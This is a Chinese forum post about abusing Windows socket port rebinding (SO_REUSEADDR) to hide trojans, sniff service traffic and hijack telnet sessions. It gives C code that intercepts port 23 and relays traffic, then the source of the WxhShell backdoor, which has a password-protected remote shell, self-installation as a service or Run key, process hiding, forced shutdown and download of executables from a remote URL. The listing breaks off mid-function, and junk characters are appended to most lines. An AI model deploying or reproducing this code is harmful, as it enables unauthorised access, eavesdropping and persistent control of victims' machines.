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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'E| %l!xO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J Enjc/  
hRkCB  
  saddr.sin_family = AF_INET; .D*Qu}  
-^p{J TB+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); DE(XS zX  
*!5CL'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MAa9JA8kw)  
@6 he!wW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DB vM.'b$  
9b. kso9.  
  这意味着什么?意味着可以进行如下的攻击: c`O~I<(Pm  
{oQs*`=l>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g)hEzL0k  
v\x l?F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $>rt0LOF  
 3.&BhLT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Iiy5;:CX:q  
9{Hs1 MD[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Yh<F-WOo2  
)nm+_U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4n,&,R r#  
h&"9v~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V)$!WPL@  
C5~#lNC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t{k:H4  
!I7$e&Uz@  
  #include j\}.GM'8  
  #include Wt.DL mO  
  #include *>m[ZJd%=  
  #include    zIa={tU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x'|ty[87  
  int main() |<W$rzM  
  { axQ>~v WN/  
  WORD wVersionRequested; '6N)sqTR  
  DWORD ret; j>k ;Z j  
  WSADATA wsaData; >8Oa(9n  
  BOOL val; @c~Z0+Ji  
  SOCKADDR_IN saddr; >X~B1D,SV7  
  SOCKADDR_IN scaddr; *yZ6"  
  int err; yR$_ZXsd  
  SOCKET s; G(E1c"?  
  SOCKET sc; Nd(,oXa~  
  int caddsize; !HTOE@  
  HANDLE mt; O8;/oL4 U  
  DWORD tid;   9o@3$  
  wVersionRequested = MAKEWORD( 2, 2 ); i?T-6{3I  
  err = WSAStartup( wVersionRequested, &wsaData ); Q 3WD!Z8y  
  if ( err != 0 ) { cU;Bm}U  
  printf("error!WSAStartup failed!\n"); ieyK$q  
  return -1; ^t0!Dbx3SE  
  } Ez1eGPVr  
  saddr.sin_family = AF_INET; k+J3Kl09hM  
   M5bE5C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jCqz^5=$  
teok*'b:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6[m~xegG  
  saddr.sin_port = htons(23); #Xg;E3BM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oW~W(h!  
  { yP"2.9\erH  
  printf("error!socket failed!\n"); 5/.W-Q\pl}  
  return -1; GcO2oq  
  } '54\!yQ<{  
  val = TRUE; =, XCjiBeC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @pH2"k| @  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -%fQr5  
  { TQR5V\{&%  
  printf("error!setsockopt failed!\n"); CJ<nUIy'z  
  return -1; ay8]"sa  
  } TXImmkC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -2hirA<^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c>bns/f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ! ._q8q\  
BJ UG<k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :zL)O  
  { 9#DXA}  
  ret=GetLastError(); Xi="gxp$%  
  printf("error!bind failed!\n"); _S9)<RVI+  
  return -1; 3lF"nv  
  } ')xOL =w  
  listen(s,2); !2t7s96  
  while(1)  ~,lt^@a  
  {  +n1!xv]  
  caddsize = sizeof(scaddr); y 4i3m(S  
  //接受连接请求 ':.Hz]]/A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &2ED<%hH`  
  if(sc!=INVALID_SOCKET) Q[OwP  
  { dIC\U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0)&!$@HW  
  if(mt==NULL) :8b'HhjM  
  { 6A"$9sj6  
  printf("Thread Creat Failed!\n"); w=GMQ8  
  break; ).KA0-  
  } 5]O{tSj  
  } "7cty\  
  CloseHandle(mt); -XYvjW,|  
  } O84]J:b  
  closesocket(s); ^Iw$ (  
  WSACleanup(); j\C6k  
  return 0; o\8?CNm1(  
  }    /  
  DWORD WINAPI ClientThread(LPVOID lpParam) <+QdBp'd;  
  { GDLw_usV  
  SOCKET ss = (SOCKET)lpParam; ` GF w?G  
  SOCKET sc; JBY.er`6C  
  unsigned char buf[4096]; %`]+sg[i  
  SOCKADDR_IN saddr; qzW3MlD  
  long num; HXq']+iC  
  DWORD val; JM7mQ'`Ud  
  DWORD ret; ?L<B]!9HZt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~& -h5=3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [t4v/vQT  
  saddr.sin_family = AF_INET; sVyV|!K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t:10  
  saddr.sin_port = htons(23); KZKE&bTx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :T-DxP/  
  { LS~at.3zX  
  printf("error!socket failed!\n"); g Wtc3  
  return -1; 53t_#Yte  
  } ,`t+X=#  
  val = 100; [c{\el9H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #eW T-m  
  { `n&:\Ib  
  ret = GetLastError(); 3aW<FSgP  
  return -1; ImN'o4vo  
  } FGDVBUY@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aAjl 58  
  { .`Rt   
  ret = GetLastError(); `Gio 2gl9  
  return -1; D4VDWv  
  } 7d;|?R-8D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HzTmNm)  
  { P&0eu  
  printf("error!socket connect failed!\n"); w/|&N>ZOx  
  closesocket(sc); AE rPd)yk0  
  closesocket(ss); =|oi0  
  return -1; %]+R>+  
  } BqNsW (+  
  while(1) 6ll!7U(9(  
  { !!C/($  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8}|et~7!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 U3_${  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -8l<5g7  
  num = recv(ss,buf,4096,0); Qx)b4~F?  
  if(num>0) V\`Z|'WIQD  
  send(sc,buf,num,0); W,4!"*+  
  else if(num==0) >9H^r\  
  break; ^_]ZZin  
  num = recv(sc,buf,4096,0); <Kt_ oxK,  
  if(num>0) {SV/AN  
  send(ss,buf,num,0); of B:7  
  else if(num==0) RHUZ:r  
  break; >~o- 6g  
  } &jJu=6 U B  
  closesocket(ss); [xqV`(vM  
  closesocket(sc); C:B7%<  
  return 0 ; KlT:&1SB9  
  } S f?;j{?G  
Vuz.b.,i`  
=F+v+zP7P  
========================================================== v~mVf.j1  
z:\9t[e4  
下边附上一个代码,,WXhSHELL p@jw)xI  
ed6@o4D/kf  
========================================================== re*}a)iL  
@j\:K<sk  
#include "stdafx.h" :+\0.\K0!  
.OdtM X y  
#include <stdio.h> ,ua1sTgQ  
#include <string.h> B0Df7jr%`>  
#include <windows.h> \V-N~_-H  
#include <winsock2.h> )ce 6~   
#include <winsvc.h> 5f*_K6,v  
#include <urlmon.h> D40 vCax^J  
4p"'ox#  
#pragma comment (lib, "Ws2_32.lib") Bve|+c6W  
#pragma comment (lib, "urlmon.lib") iVFOOsJ@  
zxn|]P bS  
#define MAX_USER   100 // 最大客户端连接数 ep6+YK:cn  
#define BUF_SOCK   200 // sock buffer Go%Z^pF3CO  
#define KEY_BUFF   255 // 输入 buffer VM$n|[C~  
AYn65Ly  
#define REBOOT     0   // 重启 Fx^wV^q3  
#define SHUTDOWN   1   // 关机 lEk@I"  
-PpcFLZ|  
#define DEF_PORT   5000 // 监听端口 COw"6czX/  
T8+[R2_  
#define REG_LEN     16   // 注册表键长度 `G$>T#Dq  
#define SVC_LEN     80   // NT服务名长度 BA h'H&;V  
EJn]C=_(  
// 从dll定义API >eTbg"\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6=f)3!=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =+iY<~8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cO J`^^P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d6MWgg  
:-RB< Lj  
// wxhshell配置信息 !+SL=xy!{  
struct WSCFG { 70qEqNoC  
  int ws_port;         // 监听端口 \B#tB?rA  
  char ws_passstr[REG_LEN]; // 口令 &l+Qn'N  
  int ws_autoins;       // 安装标记, 1=yes 0=no *^-AOSVt,  
  char ws_regname[REG_LEN]; // 注册表键名 a&'9[9E1  
  char ws_svcname[REG_LEN]; // 服务名 |.)LZP,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c5^HGIe1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $9G& wH>{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1ui)Hv=h*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UBwl2Di  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f ./K/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ':n`0+Eh  
e0(/(E:  
}; ov+{<0Q  
Wep^He\:  
// default Wxhshell configuration |u>V> PN  
struct WSCFG wscfg={DEF_PORT, %RD\Sb4YV  
    "xuhuanlingzhe", AMyg>n!  
    1, Y#os6|MV#  
    "Wxhshell", ~:Rbd9IB  
    "Wxhshell", s&$?m [w  
            "WxhShell Service", _}5vO$kdO  
    "Wrsky Windows CmdShell Service", T f3CyH!k  
    "Please Input Your Password: ", S/E&&{`ls  
  1, "WKOlfPa  
  "http://www.wrsky.com/wxhshell.exe", 4v_Ac;2m&  
  "Wxhshell.exe" wa[L[mw  
    }; ,SIS3A>s  
 DXf  
// 消息定义模块 "1,*6(;:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9:2Bt <q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m.+h@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jG1(Oe;#  
char *msg_ws_ext="\n\rExit."; hNXZL>6  
char *msg_ws_end="\n\rQuit."; z@ `o(gh  
char *msg_ws_boot="\n\rReboot..."; ^os_j39N9  
char *msg_ws_poff="\n\rShutdown..."; RsDSsux  
char *msg_ws_down="\n\rSave to "; ,NGHv?.N  
~|"Vl<9  
char *msg_ws_err="\n\rErr!"; Q^ W,)%  
char *msg_ws_ok="\n\rOK!"; %V=%ARP|  
BvP\c_  
char ExeFile[MAX_PATH]; <6(0ZO%,C!  
int nUser = 0; Ts.2\-+3  
HANDLE handles[MAX_USER]; q|ce7HnK  
int OsIsNt; 20}HTV{v  
>*EZZ\eU!  
SERVICE_STATUS       serviceStatus; j/aJDE(+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kEh\@x[  
4ior  
// 函数声明 b|_e):V|  
int Install(void); M+:5gMB'  
int Uninstall(void); [3X\"x5@V  
int DownloadFile(char *sURL, SOCKET wsh); }F]Z1('  
int Boot(int flag); at?I @By  
void HideProc(void); r:sa|+  
int GetOsVer(void); HVa D  
int Wxhshell(SOCKET wsl); @K <Onh`  
void TalkWithClient(void *cs); /Q st :q  
int CmdShell(SOCKET sock); sV#%U%un  
int StartFromService(void); ~Z5AImR|  
int StartWxhshell(LPSTR lpCmdLine); u4hn9**a1  
o%'1=d3R1Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }-tJ.3Zw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >12jUm)  
WHx #;  
// 数据结构和表定义 frcX'M}%  
SERVICE_TABLE_ENTRY DispatchTable[] = K3mP6Z#2  
{ *Hx*s_F  
{wscfg.ws_svcname, NTServiceMain}, a]Pi2:S  
{NULL, NULL} %fg6', 2  
}; H@-q NjM  
, >WH)+a  
// 自我安装 LZ)g&A(j?  
int Install(void) x:-NTW -g  
{ :Fhk$?/r  
  char svExeFile[MAX_PATH]; s={>{,E  
  HKEY key; KH,f'`  
  strcpy(svExeFile,ExeFile); w!"A$+~  
_jX,1+M  
// 如果是win9x系统,修改注册表设为自启动 `LoRudf_`  
if(!OsIsNt) { K{d3)lVYCS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9<3(  QR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z*T41;b  
  RegCloseKey(key); #U-y<[ 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "&H'?N%9Up  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F9LKO3Rh#u  
  RegCloseKey(key); =+_nVO*  
  return 0; 4AL,=C3  
    } PV\J] |d,%  
  } ~0,v Q   
} c!HGiqp  
else { Ar\fA)UQ`  
!y$##PZ  
// 如果是NT以上系统,安装为系统服务 c(1tOQk.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7KiraKb|  
if (schSCManager!=0) N/F_,>E  
{ @{b5x>KX  
  SC_HANDLE schService = CreateService v9H t~\>  
  ( HKbV@NW  
  schSCManager, R'Ue>k  
  wscfg.ws_svcname, KGOhoiR9:C  
  wscfg.ws_svcdisp, }-:B`:K&  
  SERVICE_ALL_ACCESS, E"*E[>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D`QMlRzXy  
  SERVICE_AUTO_START, _b8KK4UR  
  SERVICE_ERROR_NORMAL, 9U;  
  svExeFile, Yp(0XP5o  
  NULL, "<|KR{/+  
  NULL, |-6`S1.  
  NULL, T%.Y so{  
  NULL, [G brKq(  
  NULL / xv5we~  
  ); 1 K}gX>F  
  if (schService!=0) #8XmOJ"W3k  
  { 1$DcE>  
  CloseServiceHandle(schService); (P? |Bk [  
  CloseServiceHandle(schSCManager); \X\< +KU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a)W|gx6Y  
  strcat(svExeFile,wscfg.ws_svcname); t8Pf~v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~hq\XQX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); * 4J!@w  
  RegCloseKey(key); f-#:3k*7S  
  return 0; PI L)(%X  
    } W'9{2h6u(  
  } TAh'u|{u2  
  CloseServiceHandle(schSCManager); 0(d!w*RpG  
} )-X8RRw'  
} _886>^b@  
1VYH:uGuAU  
return 1; $MvKwQ/  
} zq + 2@"q  
nN$.^!;&  
// 自我卸载 %H?B5y  
int Uninstall(void) f'ld6jt|%  
{ &p#PYs|H  
  HKEY key; .4ww5k>  
`~\SQ EY$  
if(!OsIsNt) { +h-% {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d>#',C#;  
  RegDeleteValue(key,wscfg.ws_regname); *b~8`O pa`  
  RegCloseKey(key); 8r>\scS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jh z*Y}MX  
  RegDeleteValue(key,wscfg.ws_regname); #SHJ0+)o  
  RegCloseKey(key); /*gs]  
  return 0; KiG19R$  
  } CV HKP[-  
} i<m) s$u  
} dSjO 12b  
else { 7_36xpw  
sh,4n{+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RCa1S^.  
if (schSCManager!=0) e\(X:T  
{ hwk] ;6[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M%54FsV  
  if (schService!=0) X`<z5W] !  
  { [pms>TQ2  
  if(DeleteService(schService)!=0) { s8A"x`5(  
  CloseServiceHandle(schService); OE[7fDe'  
  CloseServiceHandle(schSCManager); 5X3JQ"z  
  return 0; 7]So=% q  
  } LTBH/[q5  
  CloseServiceHandle(schService); F%zMhX'AG  
  } >l-u{([B  
  CloseServiceHandle(schSCManager); IA}vN3  
} yLqhj7  
} noaR3)  
]~$@x=p2e  
return 1; 1 39T*0C  
} k]gPMhe  
k"7ZA>5jk  
// 从指定url下载文件 CUTjRWQ  
int DownloadFile(char *sURL, SOCKET wsh) M'|[:I.V  
{ MZ0cZv$v!~  
  HRESULT hr; 1LFad>`  
char seps[]= "/"; 'H`:c+KDG`  
char *token; w9u|E46  
char *file; ,c&t#mu*0  
char myURL[MAX_PATH]; x_8sV?F  
char myFILE[MAX_PATH]; T/u61}'U{  
m{>"  
strcpy(myURL,sURL); x| D|d}  
  token=strtok(myURL,seps); V!*1F1  
  while(token!=NULL) [< 9%IGH  
  { fb0)("_V  
    file=token; %qJgtu"8  
  token=strtok(NULL,seps); Qu/f>tJN;  
  } r9-ayp#pC  
 0zr%8Q(Q  
GetCurrentDirectory(MAX_PATH,myFILE); 8T+o.w==  
strcat(myFILE, "\\"); A'}!'1  
strcat(myFILE, file); V@RdvQy  
  send(wsh,myFILE,strlen(myFILE),0); _nzTd\L88  
send(wsh,"...",3,0); X:f5t`;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H!FaI(YZl  
  if(hr==S_OK) V*?QZ;hCP  
return 0; Mx0~^l  
else \ eba9i^  
return 1; vnf2Z,f%  
3J8>r|u;1'  
} b'FTy i  
+p _?ekV\  
// 系统电源模块 EGFP$nvq  
int Boot(int flag) (VkO[5j  
{ r1.zURY  
  HANDLE hToken; =>o !   
  TOKEN_PRIVILEGES tkp; |gk4X%o6  
a` 9pHH:7Q  
  if(OsIsNt) { -#<{3BJTrz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p4\sKF8-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y] 9/Xr/  
    tkp.PrivilegeCount = 1; 2>.b~q@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mo tW7|p.e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZLVgK@l  
if(flag==REBOOT) { G{|"WaKW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3KeY4b!h  
  return 0; | Wj=%Ol%o  
} ' 8R5 Tl  
else { zSMM?g^T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &&jQ4@m}j  
  return 0; 39[ylR|\  
} 9%R"(X)  
  } nT~XctwF  
  else { ?|NsaW  
if(flag==REBOOT) { A3HN Mz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) | h"$  
  return 0; [SKDsJRPP  
} eMEKR5*-O  
else { 1f"}]MbLR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jL)Y'  
  return 0; 5Uhxl^c  
} 8.%wnH  
} VqD_FS;E  
]4')H;'y  
return 1; RV]QVA*i  
} U![$7k>,pr  
oFt_ yU-  
// win9x进程隐藏模块 h1B_*L   
void HideProc(void) 8Bc2?NI=   
{ xHx_! )7  
%y_pF?2@q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;K4=fHl  
  if ( hKernel != NULL ) l  ~xXy<  
  { j)nE!GKD(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mj2Dat`p9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gQ{<2u  
    FreeLibrary(hKernel); EKw)\T1  
  } aWvC-vZk  
z 36Y/{>[  
return; Uw5&.aqn.b  
} {w ,^Z[<  
a>6M{C@pd  
// 获取操作系统版本 'F*OlZ!BWy  
int GetOsVer(void) fS8Pi,!  
{ iYdg1  
  OSVERSIONINFO winfo; ;$]a.9 -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hit )mwfYE  
  GetVersionEx(&winfo); /r&4< @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -J'ked  
  return 1; |Ul4n@+2  
  else 8t7r^[T  
  return 0; -4 L27C  
} ZOppec1D  
9qzHy}A  
// 客户端句柄模块 3qV~C{ S  
int Wxhshell(SOCKET wsl) "WPWMQ+  
{  YO fYa  
  SOCKET wsh; 6/'X$}X  
  struct sockaddr_in client; t82*rC IB{  
  DWORD myID; z0YL,  
XfEp_.~JM  
  while(nUser<MAX_USER) y+7+({w<  
{ R +U*]5~R  
  int nSize=sizeof(client); U(~Nmo'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *y+K{ fM1  
  if(wsh==INVALID_SOCKET) return 1; /L]@k`.q@  
.345%j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $j!:ET'V  
if(handles[nUser]==0) =:TQ_>$Nc2  
  closesocket(wsh); <h~uGBS"  
else Q/HEWk  
  nUser++; !af;5F  
  } E3x<o<v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :a=]<_*x  
Ir- 1@_1Q  
  return 0; sP9{tk2K  
} .7Pp'-hK  
DU5rB\!.~  
// 关闭 socket Y{t}sO%A  
void CloseIt(SOCKET wsh) R$it`0D4o  
{ ePSD#kY5  
closesocket(wsh); h9nh9a(2  
nUser--; Sl \EPKZD  
ExitThread(0); FELW?Q?k  
} ,&@FToR  
h,/3 }  
// 客户端请求句柄 a94 nB  
void TalkWithClient(void *cs) ep l1xfr  
{ O "Aeg|  
-O@/S9]S)  
  SOCKET wsh=(SOCKET)cs; 6hFs{P7  
  char pwd[SVC_LEN]; Idj Z2)$  
  char cmd[KEY_BUFF]; OaByfo<S  
char chr[1]; f8f|'v|  
int i,j; O`~L*h_  
S!iDPl~  
  while (nUser < MAX_USER) { c(3c|n  
rdX;  
if(wscfg.ws_passstr) { o 7V&HJ[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;>]dwsA*P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z ]OX6G  
  //ZeroMemory(pwd,KEY_BUFF); 0h('@Hb.K#  
      i=0; 4i29nq^n  
  while(i<SVC_LEN) { y7z ,I  
LG?b]'#  
  // 设置超时 bvJ*REPL ?  
  fd_set FdRead; n*~#]%4  
  struct timeval TimeOut; v=IcVHuf  
  FD_ZERO(&FdRead); h}+Gz={Q^  
  FD_SET(wsh,&FdRead); a^&RV5o  
  TimeOut.tv_sec=8; LsK fCB}  
  TimeOut.tv_usec=0; |c2;`T#`o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "nNT9 K|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (d[JMO^@8  
E/d\ebX|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `K2vG`c  
  pwd=chr[0]; fKs3H?|  
  if(chr[0]==0xd || chr[0]==0xa) { CZCVC (/u  
  pwd=0; 2\Yv;J+;  
  break; |fn%!d`2  
  } /DSy/p0%  
  i++; RS7J~Q  
    } Vl:M6d1  
(g tOYEqx  
  // 如果是非法用户,关闭 socket MR* % lZpB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sh<A936/E  
} (B].ppBii  
hLyV'*}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8PGuZw<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;s-fYS6(>{  
!Ome;g S)  
while(1) { \JF 2'm\M  
><)fK5x  
  ZeroMemory(cmd,KEY_BUFF); ?bG82@-  
j2#B l  
      // 自动支持客户端 telnet标准   Tz/[P:O3  
  j=0; 49B6|!&I  
  while(j<KEY_BUFF) { tkdyR1-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uF T5Z  
  cmd[j]=chr[0]; EmV ZqW  
  if(chr[0]==0xa || chr[0]==0xd) { 9lX+?m~ ~  
  cmd[j]=0; (=s%>lW|  
  break; %S%0/  
  } ?zK>[L  
  j++; g^k=z:n3,  
    } 7$:Jea  
MV?sr[V-oP  
  // 下载文件 +AOpB L'  
  if(strstr(cmd,"http://")) { <)gTi759h)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); & y7~  
  if(DownloadFile(cmd,wsh)) e/IVZmUn^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2-wgbC5  
  else 6c[ L*1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sr6?^>A@t  
  } bB.Yq3KI  
  else { DJH,#re>  
leJ3-w{ 2  
    switch(cmd[0]) { l{3ZN"`I  
  jTok1k  
  // 帮助 l @r`NFWD@  
  case '?': { RgVg~?A@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lor__ K  
    break; bj+foNvu\  
  } *18J$  
  // 安装 MPJ0>Ly  
  case 'i': { mp0! S  
    if(Install()) HK.Si]:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+J<N@.d  
    else zXeBUbVi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MAG /7T5  
    break; C2K<CDVw  
    } IpsV4nmnz-  
  // 卸载 zm^ 5WH  
  case 'r': { FHZQyO<|  
    if(Uninstall()) <Ow+LJWQK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h &IF ?h  
    else 9!vimu)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%({< ul  
    break; toC|vn&P  
    } $b"Ex>  
  // 显示 wxhshell 所在路径 8"x\kSMb  
  case 'p': { h,2?+}Fn  
    char svExeFile[MAX_PATH]; 1.z !u%2  
    strcpy(svExeFile,"\n\r"); Qkg([q4  
      strcat(svExeFile,ExeFile); C3 (PI,,  
        send(wsh,svExeFile,strlen(svExeFile),0); BlfW~l'mx  
    break; c *Pt;m  
    } 5ZHO+@HiFH  
  // 重启 Th5}?j7  
  case 'b': { ]\J(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E&|EokSyN  
    if(Boot(REBOOT)) ?} U l(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eLop}*k  
    else { o%73M!-  
    closesocket(wsh); <+; cgF!+  
    ExitThread(0); VI^~I;M^  
    } -<q@0IYyi  
    break; $ 4A!Y  
    } {Gr"oO`&"  
  // 关机 V?z-Dt C  
  case 'd': { )yv~wi  
